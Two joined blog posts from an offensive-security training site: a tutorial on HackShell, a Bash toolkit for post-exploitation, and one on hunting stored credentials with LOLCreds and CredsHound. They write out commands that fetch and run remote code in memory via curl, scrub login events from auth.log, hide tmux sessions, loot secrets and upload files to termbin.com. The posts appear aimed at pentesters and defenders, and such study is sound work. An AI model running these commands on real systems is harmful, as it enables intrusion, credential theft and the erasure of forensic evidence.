Welcome back, aspiring cyberwarriors!

In one of our Linux Forensics articles we talked about how widespread Linux systems are. Most of the internet runs on Linux. ISPs rely on it for deep packet inspection, servers host sites on it. Cameras, routers and cash registers run Linux based firmware too. Critical infrastructure depends heavily on Linux as well, from gas stations to industrial control systems.

Master OTW has a great series showing how cameras can be exploited and later used as proxies. Once hackers control a device like that, it becomes a doorway into the organization. And if they’re Linux systems, that means they run Bash. Bash is already a powerful friend to admins and hackers, but we can make it even more stealthy.

We will look at HackShell today. It was built to upgrade your Bash environment during a pentest. HackShell was developed by The Hacker’s Choice and the tool is actively maintained. To evade detection, it loads entirely in memory and doesn’t need to write itself to disk. That reduces the number of artifacts left on a system.

Setting Up

Once you get a shell, load HackShell directly into memory:

bash$ > source <(curl -SsfL https://thc.org/hs)
# or
bash$ > eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"

You are all set. When it loads, it does some light enumeration to find details about the machine. This system had gs-netcat running as persistence.

If the compromised host doesn’t have internet access, for example when it sits inside an air-gapped environment, you can manually copy and paste the contents of the HackShell into /dev/shm. Old machines may have compatibility issues, to bypass them run these commands:

bash$ > bash -c 'source <(curl -SsfL https://thc.org/hs); exec bash'
bash$ > source <(curl -SsfL https://thc.org/hs)

Now we are ready to see what it’s capable of.

Capabilities

The developers of HackShell put a lot of thought into what you might need during a pentest. Many helpful commands are built directly into the shell. You can list these commands with xhelp.

We will walk through some of the most interesting ones. The main thing here is stealth. Many commands here reduce the amount of forensic evidence left behind.

Evasion

Here are some commands that will help you reduce your forensic artefacts. 

xhome

This command temporarily sets your home directory to a randomized path under /dev/shm. This only affects your current HackShell session and doesn’t modify the environment for other users who log in. Files in /dev/shm stay in memory and don’t persist across reboots.

bash$ > xhome

xlog

When hackers connect over SSH, their login events appear in the auth log and other places. HackShell can remove these events selectively.

bash$ > xlog '1.2.3.4' /var/log/auth.log

xtmux

Tmux is normally used by admins for long-running tasks. There you can manage multiple terminal windows and keep sessions running after disconnects. In our forensic cases we saw hackers wiping storage using dd inside tmux sessions. That way the system keeps erasing data even if the network connection drops.

This command launches an invisible tmux session:

bash$ > xtmux

Enumeration and Privilege Escalation

Once you’ve changed your home directory and cleaned the logs, you can learn more about the system you work with.

ws

WhatServer shows a detailed overview of the environment. It lists storage, active processes, logged-in users, open sockets, listening ports and more.

lpe

LinPEAS is well-known. It’s a privilege escalation auditing script. It’s frequently updated and often used by pentesters. HackShell can run it directly in memory.

bash$ > lpe

The script will find possible paths to privilege escalation. We already had root on this system, that’s why the output was so rich. But you can work with it under any user account.

hgrep

Credentials can sit in different files and configs. You can hgrep certain keywords to find those files.

bash$ > hgrep pass

This can speed things up.

scan

HackShell can scan hosts and print greppable output, that makes it easy to find open ports across the infrastructure.

bash$ > scan PORT IP

loot

That’s a really useful command. Loot searches through configs and known locations in an effort to find stored creds or sensitive data. It doesn’t always find everything, but it’s definitely worth giving it a shot.

bash$ > loot

If you don’t find much, use lootmore:

bash$ > lootmore

When results are incomplete, use CredsHound.

Lateral Movement and Data Exfiltration

Normally, you don’t exfiltrate data during a pentest unless it’s necessary to test the infrastructure. Mishandling exfiltrated data can expose sensitive information to the internet, which could violate your agreement with the client. Be careful.

tb

This command uploads content to termbin.com. Files uploaded this way become publicly accessible. This must be used with caution. 

bash$ > tb secrets.txt

After you extract data, delete the local copy:

bash$ > shred secrets.txt

xssh and xscp

These commands work similarly to SSH and SCP, but minimize exposure. Defenders may have automatic alerts set up for new SSH sessions, so careless movement can trigger an incident response. 

Connect to another host:

bash$ > xshh root@IP

Upload a file to /tmp on the remote machine:

bash$ > xscp file root@IP:/tmp

Download a file from the remote machine to /tmp:

bash$ > xscp root@IP:/root/secrets.txt /tmp

Summary

HackShell can make your Bash really stealthy. There’s still much more to explore in the tool. If you’re a defender, take the time to study it, see how it loads and find the servers it connects to. This can help you create useful IOCs and strengthen your detection.

If you like ethical hacking, you will enjoy our Cyberwarrior Path. This is a three-year training journey built around a two-tier education model. During the first eighteen months you progress through a big library of courses that develop that will develop your skills. Once those payments are complete, you unlock Subscriber Pro level training that opens the door to advanced topics. This structure was created because students asked for flexibility. You can keep growing and improving without carrying an unnecessary financial burden.

The post Linux: HackShell – Bash For Hackers first appeared on Hackers Arise.

Welcome back, cyberwarriors!

When you just land on a new machine, you often have to sit down and go through every running service just to figure out what’s actually installed and which of those apps might be worth a closer look for credentials in a config somewhere. You can’t skip this part, as it usually gives you something you’ll need later in the engagement, but it eats time. A lot of it.

There are older tools that try to do something similar, but the two we’re covering today are more current. LOLCreds and CredsHound come from the same developer and they cover a huge amount of software.

So let’s see how they work.

LOLCreds

LOLCreds is a website that has 678 different credentials. Some software generates a password when you install it or prompts you to enter it. There are also static credentials that are baked into the product. The D-Link backdoor credentials are a good example of the second kind. 

LOLCreds also tracks AI API keys and shows you exactly where to find them on a system. Here’s what it has on Cursor.

MySQL is a more basic example. Its password is often hidden in a config file or sitting as a variable in the env file.

CredsHound

All of that is great when you already know what software you’re hunting through and you’re picking it one at a time. But machines might have dozens of applications running. Software can be removed, but configs stay and password reuse is common. You can use CredsHound for this hunt. 

CredsHound is a scanner written in Go. Under the hood it pulls templates from LOLCreds so it can run product aware checks. It has been fully optimized for modern environments, so it will scan everything from DBeaver encrypted databases to OpenCode, GitHub Copilot CLI, Hugging Face, OpenAI and more. 

Setting Up

Before you start using the scanner, you need to have Go installed.

bash$ > sudo apt install golang
bash$ > go install github.com/haxxm0nkey/credshound/cmd/credshound@latest

Once that finishes, you may run into a common issue where the Go binaries aren’t included in your system path yet. Add them yourself:

bash$ > sudo echo “export PATH:$PATH:/home/user/go/bin” >> /etc/profile
bash$ > source /etc/profile

Now we’re ready.

How to Use

There are different ways you can run it, but you always start with updating the template library. The scanner can be used with different privileges, but we’ll use root. 

# Update templates 
bash# > credshound -ut

# Scan /etc 
bash# > credshound -t /root/.cache/credshound/templates /etc

Our system is fresh, so there’s not much on it yet. A box that’s been sitting in prod for a while will have more interesting results, like the one below.

CredsHound can also work with BloodHound to show you the relationships between credentials as a graph. Here’s how to set it up:

ubuntu$ > credshound -t ~/lolcreds-templates -bloodhound -o credshound-bloodhound.json .

Then you import the JSON file into BloodHound and see what comes up.

When you’ve collected many of these JSON files from different machines, you’ll start seeing the architecture of what you’re testing.

A few more commands you’ll find useful:

# Scan the current directory
bash$ > credshound .

# Scan multiple roots
bash$ > credshound ~/project /etc

# Scan only env variables
bash$ > credshound -sources env

# Scan current and process environment variables on Linux
bash$ > credshound -sources env,proc

Summary

Credential hunting is a tedious thing when you do it manually, but you can’t really skip this part. It’s essential to move further. The tools covered can make the whole process easier and the output rich. LOLCreds has a reference library for different products and CredsHound can scan your hosts for secrets with results that you may import into BloodHound.

If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.

The post Pentesting: Stealing Credentials with LOLCreds and CredsHound first appeared on Hackers Arise.